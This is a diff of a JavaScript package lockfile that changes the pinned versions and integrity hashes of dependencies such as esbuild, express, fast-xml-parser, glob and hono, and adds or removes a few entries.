"eastasianwidth": ["eastasianwidth@0.2.0", "", {}, "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA=="],
@@ -2865,7 +2621,7 @@
"ejs": ["ejs@3.1.10", "", { "dependencies": { "jake": "^10.8.5" }, "bin": "bin/cli.js" }, "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA=="],
- "electron-to-chromium": ["electron-to-chromium@1.5.307", "", {}, "sha512-5z3uFKBWjiNR44nFcYdkcXjKMbg5KXNdciu7mhTPo9tB7NbqSNP2sSnGR+fqknZSCwKkBN+oxiiajWs4dT6ORg=="],
+ "electron-to-chromium": ["electron-to-chromium@1.5.254", "", {}, "sha512-DcUsWpVhv9svsKRxnSCZ86SjD+sp32SGidNB37KpqXJncp1mfUgKbHvBomE89WJDbfVKw1mdv5+ikrvd43r+Bg=="],
"elliptic": ["elliptic@6.6.1", "", { "dependencies": { "bn.js": "^4.11.9", "brorand": "^1.1.0", "hash.js": "^1.0.0", "hmac-drbg": "^1.0.1", "inherits": "^2.0.4", "minimalistic-assert": "^1.0.1", "minimalistic-crypto-utils": "^1.0.1" } }, "sha512-RaddvvMatK2LJHqFJ+YA4WysVN5Ita9E35botqIYspQ4TkRAlCicdzKOjlyv/1Za5RyTNn7di//eEV0uTAfe3g=="],
@@ -2883,7 +2639,7 @@
"enhanced-resolve": ["enhanced-resolve@5.17.1", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.2.0" } }, "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg=="],
- "entities": ["entities@7.0.1", "", {}, "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA=="],
+ "entities": ["entities@4.5.0", "", {}, "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="],
"environment": ["environment@1.1.0", "", {}, "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q=="],
@@ -2899,6 +2655,8 @@
"es-iterator-helpers": ["es-iterator-helpers@1.2.1", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "define-properties": "^1.2.1", "es-abstract": "^1.23.6", "es-errors": "^1.3.0", "es-set-tostringtag": "^2.0.3", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.6", "globalthis": "^1.0.4", "gopd": "^1.2.0", "has-property-descriptors": "^1.0.2", "has-proto": "^1.2.0", "has-symbols": "^1.1.0", "internal-slot": "^1.1.0", "iterator.prototype": "^1.1.4", "safe-array-concat": "^1.1.3" } }, "sha512-uDn+FE1yrDzyC0pCo961B2IHbdM8y/ACZsKD4dG6WqrjV53BADjwa7D+1aom2rsNVfLyDgU/eigvlJGJ08OQ4w=="],
+ "es-module-lexer": ["es-module-lexer@1.6.0", "", {}, "sha512-qqnD1yMU6tk/jnaMosogGySTZP8YtUgAffA9nMN+E/rjxcfRQ6IEk7IiozUjgxKoFHBGjTLnrHB/YC45r/59EQ=="],
+
"es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
"es-set-tostringtag": ["es-set-tostringtag@2.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "get-intrinsic": "^1.2.6", "has-tostringtag": "^1.0.2", "hasown": "^2.0.2" } }, "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA=="],
@@ -2913,7 +2671,7 @@
"es6-symbol": ["es6-symbol@3.1.4", "", { "dependencies": { "d": "^1.0.2", "ext": "^1.7.0" } }, "sha512-U9bFFjX8tFiATgtkJ1zg25+KviIXpgRvRHS8sau3GfhVzThRQrOeksPeT0BWW2MNZs1OEWJ1DPXOQMn0KKRkvg=="],
- "esbuild": ["esbuild@0.27.3", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.27.3", "@esbuild/android-arm": "0.27.3", "@esbuild/android-arm64": "0.27.3", "@esbuild/android-x64": "0.27.3", "@esbuild/darwin-arm64": "0.27.3", "@esbuild/darwin-x64": "0.27.3", "@esbuild/freebsd-arm64": "0.27.3", "@esbuild/freebsd-x64": "0.27.3", "@esbuild/linux-arm": "0.27.3", "@esbuild/linux-arm64": "0.27.3", "@esbuild/linux-ia32": "0.27.3", "@esbuild/linux-loong64": "0.27.3", "@esbuild/linux-mips64el": "0.27.3", "@esbuild/linux-ppc64": "0.27.3", "@esbuild/linux-riscv64": "0.27.3", "@esbuild/linux-s390x": "0.27.3", "@esbuild/linux-x64": "0.27.3", "@esbuild/netbsd-arm64": "0.27.3", "@esbuild/netbsd-x64": "0.27.3", "@esbuild/openbsd-arm64": "0.27.3", "@esbuild/openbsd-x64": "0.27.3", "@esbuild/openharmony-arm64": "0.27.3", "@esbuild/sunos-x64": "0.27.3", "@esbuild/win32-arm64": "0.27.3", "@esbuild/win32-ia32": "0.27.3", "@esbuild/win32-x64": "0.27.3" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-8VwMnyGCONIs6cWue2IdpHxHnAjzxnw2Zr7MkVxB2vjmQ2ivqGFb4LEG3SMnv0Gb2F/G/2yA8zUaiL1gywDCCg=="],
+ "esbuild": ["esbuild@0.25.1", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.1", "@esbuild/android-arm": "0.25.1", "@esbuild/android-arm64": "0.25.1", "@esbuild/android-x64": "0.25.1", "@esbuild/darwin-arm64": "0.25.1", "@esbuild/darwin-x64": "0.25.1", "@esbuild/freebsd-arm64": "0.25.1", "@esbuild/freebsd-x64": "0.25.1", "@esbuild/linux-arm": "0.25.1", "@esbuild/linux-arm64": "0.25.1", "@esbuild/linux-ia32": "0.25.1", "@esbuild/linux-loong64": "0.25.1", "@esbuild/linux-mips64el": "0.25.1", "@esbuild/linux-ppc64": "0.25.1", "@esbuild/linux-riscv64": "0.25.1", "@esbuild/linux-s390x": "0.25.1", "@esbuild/linux-x64": "0.25.1", "@esbuild/netbsd-arm64": "0.25.1", "@esbuild/netbsd-x64": "0.25.1", "@esbuild/openbsd-arm64": "0.25.1", "@esbuild/openbsd-x64": "0.25.1", "@esbuild/sunos-x64": "0.25.1", "@esbuild/win32-arm64": "0.25.1", "@esbuild/win32-ia32": "0.25.1", "@esbuild/win32-x64": "0.25.1" }, "bin": "bin/esbuild" }, "sha512-BGO5LtrGC7vxnqucAe/rmvKdJllfGaYWdyABvyMoXQlfYMb2bbRuReWR5tEGE//4LcNJj9XrkovTqNYRFZHAMQ=="],
"escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="],
@@ -2925,6 +2683,8 @@
"escape-string-regexp": ["escape-string-regexp@4.0.0", "", {}, "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA=="],
+ "escodegen": ["escodegen@2.1.0", "", { "dependencies": { "esprima": "^4.0.1", "estraverse": "^5.2.0", "esutils": "^2.0.2" }, "optionalDependencies": { "source-map": "~0.6.1" }, "bin": { "escodegen": "bin/escodegen.js", "esgenerate": "bin/esgenerate.js" } }, "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w=="],
+
"eslint": ["eslint@9.39.1", "", { "dependencies": { "@eslint-community/eslint-utils": "^4.8.0", "@eslint-community/regexpp": "^4.12.1", "@eslint/config-array": "^0.21.1", "@eslint/config-helpers": "^0.4.2", "@eslint/core": "^0.17.0", "@eslint/eslintrc": "^3.3.1", "@eslint/js": "9.39.1", "@eslint/plugin-kit": "^0.4.1", "@humanfs/node": "^0.16.6", "@humanwhocodes/module-importer": "^1.0.1", "@humanwhocodes/retry": "^0.4.2", "@types/estree": "^1.0.6", "ajv": "^6.12.4", "chalk": "^4.0.0", "cross-spawn": "^7.0.6", "debug": "^4.3.2", "escape-string-regexp": "^4.0.0", "eslint-scope": "^8.4.0", "eslint-visitor-keys": "^4.2.1", "espree": "^10.4.0", "esquery": "^1.5.0", "esutils": "^2.0.2", "fast-deep-equal": "^3.1.3", "file-entry-cache": "^8.0.0", "find-up": "^5.0.0", "glob-parent": "^6.0.2", "ignore": "^5.2.0", "imurmurhash": "^0.1.4", "is-glob": "^4.0.0", "json-stable-stringify-without-jsonify": "^1.0.1", "lodash.merge": "^4.6.2", "minimatch": "^3.1.2", "natural-compare": "^1.4.0", "optionator": "^0.9.3" }, "peerDependencies": { "jiti": "*" }, "bin": "bin/eslint.js" }, "sha512-BhHmn2yNOFA9H9JmmIVKJmd288g9hrVRDkdoIgRCRuSySRUHH7r/DI6aAXW9T1WwUuY3DFgrcaqB+deURBLR5g=="],
"eslint-config-prettier": ["eslint-config-prettier@10.0.1", "", { "peerDependencies": { "eslint": ">=7.0.0" }, "bin": "build/bin/cli.js" }, "sha512-lZBts941cyJyeaooiKxAtzoPHTN+GbQTJFAIdQbRhA4/8whaAraEh47Whw/ZFfrjNSnlAxqfm9i0XVAEkULjCw=="],
@@ -2995,11 +2755,11 @@
"export-from-json": ["export-from-json@1.7.4", "", {}, "sha512-FjmpluvZS2PTYyhkoMfQoyEJMfe2bfAyNpa5Apa6C9n7SWUWyJkG/VFnzERuj3q9Jjo3iwBjwVsDQ7Z7sczthA=="],
- "express": ["express@5.2.1", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.1", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "depd": "^2.0.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw=="],
+ "express": ["express@5.1.0", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.0", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-DT9ck5YIRU+8GYzzU5kT3eHGA5iL+1Zd0EutOmTE9Dtk+Tvuzd23VBU+ec7HPNSTxXYO55gPV/hq4pSBJDjFpA=="],
"express-mongo-sanitize": ["express-mongo-sanitize@2.2.0", "", {}, "sha512-PZBs5nwhD6ek9ZuP+W2xmpvcrHwXZxD5GdieX2dsjPbAbH4azOkrHbycBud2QRU+YQF1CT+pki/lZGedHgo/dQ=="],
- "express-rate-limit": ["express-rate-limit@8.3.1", "", { "dependencies": { "ip-address": "10.1.0" }, "peerDependencies": { "express": ">= 4.11" } }, "sha512-D1dKN+cmyPWuvB+G2SREQDzPY1agpBIcTa9sJxOPMCNeH3gwzhqJRDWCXW3gg0y//+LQ/8j52JbMROWyrKdMdw=="],
+ "express-rate-limit": ["express-rate-limit@8.2.1", "", { "dependencies": { "ip-address": "10.0.1" }, "peerDependencies": { "express": ">= 4.11" } }, "sha512-PCZEIEIxqwhzw4KF0n7QF4QqruVTcF73O5kFKUnGOyjbCCgizBBiFaYpd/fnBLUMPw/BWw9OsiN7GgrNYr7j6g=="],
"express-session": ["express-session@1.18.2", "", { "dependencies": { "cookie": "0.7.2", "cookie-signature": "1.0.7", "debug": "2.6.9", "depd": "~2.0.0", "on-headers": "~1.1.0", "parseurl": "~1.3.3", "safe-buffer": "5.2.1", "uid-safe": "~2.1.5" } }, "sha512-SZjssGQC7TzTs9rpPDuUrR23GNZ9+2+IkA/+IJWmvQilTr5OSliEHGF+D9scbIpdC6yGtTI0/VhaHoVes2AN/A=="],
@@ -3027,9 +2787,7 @@
"fast-uri": ["fast-uri@3.0.6", "", {}, "sha512-Atfo14OibSv5wAp4VWNsFYE1AchQRTv9cBGWET4pZWHzYshFSS9NQI6I57rdKn9croWVMbYFbLhJ+yJvmZIIHw=="],
- "fast-xml-builder": ["fast-xml-builder@1.1.4", "", { "dependencies": { "path-expression-matcher": "^1.1.3" } }, "sha512-f2jhpN4Eccy0/Uz9csxh3Nu6q4ErKxf0XIsasomfOihuSUa3/xw6w8dnOtCDgEItQFJG8KyXPzQXzcODDrrbOg=="],
-
- "fast-xml-parser": ["fast-xml-parser@5.5.7", "", { "dependencies": { "fast-xml-builder": "^1.1.4", "path-expression-matcher": "^1.1.3", "strnum": "^2.2.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-LteOsISQ2GEiDHZch6L9hB0+MLoYVLToR7xotrzU0opCICBkxOPgHAy1HxAvtxfJNXDJpgAsQN30mkrfpO2Prg=="],
+ "fast-xml-parser": ["fast-xml-parser@4.4.1", "", { "dependencies": { "strnum": "^1.0.5" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-xkjOecfnKGkSsOwtZ5Pz7Us/T6mrbPQrq0nh+aCO5V9nk5NLWmasAHumTKjiPJPWANe+kAZ84Jc8ooJkzZ88Sw=="],
"fastq": ["fastq@1.17.1", "", { "dependencies": { "reusify": "^1.0.4" } }, "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w=="],
@@ -3049,7 +2807,7 @@
"file-stream-rotator": ["file-stream-rotator@0.6.1", "", { "dependencies": { "moment": "^2.29.1" } }, "sha512-u+dBid4PvZw17PmDeRcNOtCP9CCK/9lRN2w+r1xIS7yOL9JFrIBKTvrYsxT4P0pGtThYTn++QS5ChHaUov3+zQ=="],
- "file-type": ["file-type@21.3.3", "", { "dependencies": { "@tokenizer/inflate": "^0.4.1", "strtok3": "^10.3.4", "token-types": "^6.1.1", "uint8array-extras": "^1.4.0" } }, "sha512-pNwbwz8c3aZ+GvbJnIsCnDjKvgCZLHxkFWLEFxU3RMa+Ey++ZSEfisvsWQMcdys6PpxQjWUOIDi1fifXsW3YRg=="],
+ "file-type": ["file-type@18.7.0", "", { "dependencies": { "readable-web-to-node-stream": "^3.0.2", "strtok3": "^7.0.0", "token-types": "^5.0.1" } }, "sha512-ihHtXRzXEziMrQ56VSgU7wkxh55iNchFkosu7Y9/S+tXHdKyrGjVK0ujbqNnsxzea+78MaLhN6PGmfYSAv1ACw=="],
"filelist": ["filelist@1.0.4", "", { "dependencies": { "minimatch": "^5.0.1" } }, "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q=="],
@@ -3075,7 +2833,7 @@
"fn.name": ["fn.name@1.1.0", "", {}, "sha512-GRnmB5gPyJpAhTQdSZTSp9uaPSvl09KoYcMQtsB9rQoOmzs9dH6ffeccH+Z+cv6P68Hu5bC6JjRh4Ah/mHSNRw=="],
- "follow-redirects": ["follow-redirects@1.15.11", "", {}, "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ=="],
+ "follow-redirects": ["follow-redirects@1.15.9", "", {}, "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ=="],
"for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
@@ -3091,7 +2849,7 @@
"forwarded": ["forwarded@0.2.0", "", {}, "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="],
- "fraction.js": ["fraction.js@5.3.4", "", {}, "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ=="],
+ "fraction.js": ["fraction.js@4.3.7", "", {}, "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew=="],
"framer-motion": ["framer-motion@12.23.9", "", { "dependencies": { "motion-dom": "^12.23.9", "motion-utils": "^12.23.6", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid"] }, "sha512-TqEHXj8LWfQSKqfdr5Y4mYltYLw96deu6/K9kGDd+ysqRJPNwF9nb5mZcrLmybHbU7gcJ+HQar41U3UTGanbbQ=="],
@@ -3109,7 +2867,7 @@
"functions-have-names": ["functions-have-names@1.2.3", "", {}, "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ=="],
- "gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="],
+ "gaxios": ["gaxios@5.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^5.0.0", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-95hVgBRgEIRQQQHIbnxBXeHbW4TqFk4ZDJW7wmVtvYar72FdhRIo1UGOLS2eRAKCPEdPBWu+M7+A33D9CdX9rA=="],
"gcp-metadata": ["gcp-metadata@5.3.0", "", { "dependencies": { "gaxios": "^5.0.0", "json-bigint": "^1.0.0" } }, "sha512-FNTkdNEnBdlqF2oatizolQqNANMrcqJt6AAYt99B3y1aLLC8Hc5IOBb+ZnnzllodEEf6xMBp6wRcBbc16fa65w=="],
@@ -3139,10 +2897,12 @@
"get-tsconfig": ["get-tsconfig@4.10.0", "", { "dependencies": { "resolve-pkg-maps": "^1.0.0" } }, "sha512-kGzZ3LWWQcGIAmg6iWvXn0ei6WDtV26wzHRMwDSzmAbcXrTEXxHy6IehI6/4eT6VRKyMP1eF1VqwrVUmE/LR7A=="],
- "glob": ["glob@13.0.6", "", { "dependencies": { "minimatch": "^10.2.2", "minipass": "^7.1.3", "path-scurry": "^2.0.2" } }, "sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw=="],
+ "glob": ["glob@13.0.0", "", { "dependencies": { "minimatch": "^10.1.1", "minipass": "^7.1.2", "path-scurry": "^2.0.0" } }, "sha512-tvZgpqk6fz4BaNZ66ZsRaZnbHvP/jG3uKJvAZOwEVUL4RTA5nJeeLYfyN9/VA8NX/V3IBG+hkeuGpKjvELkVhA=="],
"glob-parent": ["glob-parent@6.0.2", "", { "dependencies": { "is-glob": "^4.0.3" } }, "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A=="],
+ "glob-to-regexp": ["glob-to-regexp@0.4.1", "", {}, "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw=="],
+
"globals": ["globals@15.14.0", "", {}, "sha512-OkToC372DtlQeje9/zHIo5CT8lRP/FUgEOKBEhU4e0abL7J7CD24fD9ohiLN5hagG/kWCYj4K5oaxxtj2Z0Dig=="],
"globalthis": ["globalthis@1.0.4", "", { "dependencies": { "define-properties": "^1.2.1", "gopd": "^1.0.1" } }, "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ=="],
@@ -3151,6 +2911,8 @@
"google-logging-utils": ["google-logging-utils@1.1.3", "", {}, "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA=="],
+ "googleapis-common": ["googleapis-common@7.0.1", "", { "dependencies": { "extend": "^3.0.2", "gaxios": "^6.0.3", "google-auth-library": "^9.0.0", "qs": "^6.7.0", "url-template": "^2.0.8", "uuid": "^9.0.0" } }, "sha512-mgt5zsd7zj5t5QXvDanjWguMdHAcJmmDrF9RkInCecNsyV7S7YtGqm5v2IWONNID88osb7zmx5FtrAP12JfD0w=="],
+
"gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="],
"graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="],
@@ -3159,14 +2921,10 @@
"gtoken": ["gtoken@7.1.0", "", { "dependencies": { "gaxios": "^6.0.0", "jws": "^4.0.0" } }, "sha512-pCcEwRi+TKpMlxAQObHDQ56KawURgyAf6jtIY046fJ5tIv3zDe/LEIubckAO8fj6JnAxLdmWkUfNyulQ2iKdEw=="],
- "hachure-fill": ["hachure-fill@0.5.2", "", {}, "sha512-3GKBOn+m2LX9iq+JC1064cSFprJY4jL1jCXTcpnfER5HYE2l/4EfWSGzkPa/ZDBmYI0ZOEj5VHV/eKnPGkHuOg=="],
-
"hamt_plus": ["hamt_plus@1.0.2", "", {}, "sha512-t2JXKaehnMb9paaYA7J0BX8QQAY8lwfQ9Gjf4pg/mk4krt+cmwmU652HOoWonf+7+EQV97ARPMhhVgU1ra2GhA=="],
"handlebars": ["handlebars@4.7.8", "", { "dependencies": { "minimist": "^1.2.5", "neo-async": "^2.6.2", "source-map": "^0.6.1", "wordwrap": "^1.0.0" }, "optionalDependencies": { "uglify-js": "^3.1.4" }, "bin": "bin/handlebars" }, "sha512-vafaFqs8MZkRrSX7sFVUdo3ap/eNiLnb4IakshzvP56X5Nr1iGKAIqdX6tMlm6HcNRIkr6AxO5jFEoJzzpT8aQ=="],
- "happy-dom": ["happy-dom@20.8.3", "", { "dependencies": { "@types/node": ">=20.0.0", "@types/whatwg-mimetype": "^3.0.2", "@types/ws": "^8.18.1", "entities": "^7.0.1", "whatwg-mimetype": "^3.0.0", "ws": "^8.18.3" } }, "sha512-lMHQRRwIPyJ70HV0kkFT7jH/gXzSI7yDkQFe07E2flwmNDFoWUTRMKpW2sglsnpeA7b6S2TJPp98EbQxai8eaQ=="],
-
"harmony-reflect": ["harmony-reflect@1.6.2", "", {}, "sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g=="],
"has-bigints": ["has-bigints@1.0.2", "", {}, "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ=="],
@@ -3215,7 +2973,7 @@
"hoist-non-react-statics": ["hoist-non-react-statics@3.3.2", "", { "dependencies": { "react-is": "^16.7.0" } }, "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw=="],
- "hono": ["hono@4.12.5", "", {}, "sha512-3qq+FUBtlTHhtYxbxheZgY8NIFnkkC/MR8u5TTsr7YZ3wixryQ3cCwn3iZbg8p8B88iDBBAYSfZDS75t8MN7Vg=="],
+ "hono": ["hono@4.11.1", "", {}, "sha512-KsFcH0xxHes0J4zaQgWbYwmz3UPOOskdqZmItstUG93+Wk1ePBLkLGwbP9zlmh1BFUiL8Qp+Xfu9P7feJWpGNg=="],
"hookified": ["hookified@1.12.1", "", {}, "sha512-xnKGl+iMIlhrZmGHB729MqlmPoWBznctSQTYCpFKqNsCgimJQmithcW0xSQMMFzYnV2iKUh25alswn6epgxS0Q=="],
@@ -3267,8 +3025,6 @@
"ignore-by-default": ["ignore-by-default@1.0.1", "", {}, "sha512-Ius2VYcGNk7T90CppJqcIkS5ooHUZyIQK+ClZfMfMNFEF9VSE73Fq+906u/CWu92x4gzZMWOwfFYckPObzdEbA=="],
- "immediate": ["immediate@3.0.6", "", {}, "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ=="],
-
"import-cwd": ["import-cwd@3.0.0", "", { "dependencies": { "import-from": "^3.0.0" } }, "sha512-4pnzH16plW+hgvRECbDWpQl3cqtvSofHWh44met7ESfZ8UZOWWddm8hEyDTqREJ9RbYHY8gi8DqmaelApoOGMg=="],
"import-fresh": ["import-fresh@3.3.0", "", { "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw=="],
@@ -3293,13 +3049,11 @@
"internal-slot": ["internal-slot@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "hasown": "^2.0.2", "side-channel": "^1.1.0" } }, "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw=="],
- "internmap": ["internmap@2.0.3", "", {}, "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg=="],
-
"intersection-observer": ["intersection-observer@0.10.0", "", {}, "sha512-fn4bQ0Xq8FTej09YC/jqKZwtijpvARlRp6wxL5WTA6yPe2YWSJ5RJh7Nm79rK2qB0wr6iDQzH60XGq5V/7u8YQ=="],
"ioredis": ["ioredis@5.3.2", "", { "dependencies": { "@ioredis/commands": "^1.1.1", "cluster-key-slot": "^1.1.0", "debug": "^4.3.4", "denque": "^2.1.0", "lodash.defaults": "^4.2.0", "lodash.isarguments": "^3.1.0", "redis-errors": "^1.2.0", "redis-parser": "^3.0.0", "standard-as-callback": "^2.1.0" } }, "sha512-1DKMMzlIHM02eBBVOFQ1+AolGjs6+xEcM4PDL7NqOS6szq7H9jSaEkIUH6/a5Hl241LzW6JLSiAbNvTQjUupUA=="],
- "ip-address": ["ip-address@10.1.0", "", {}, "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q=="],
+ "ip-address": ["ip-address@10.0.1", "", {}, "sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA=="],
"ipaddr.js": ["ipaddr.js@1.9.1", "", {}, "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="],
@@ -3401,7 +3155,7 @@
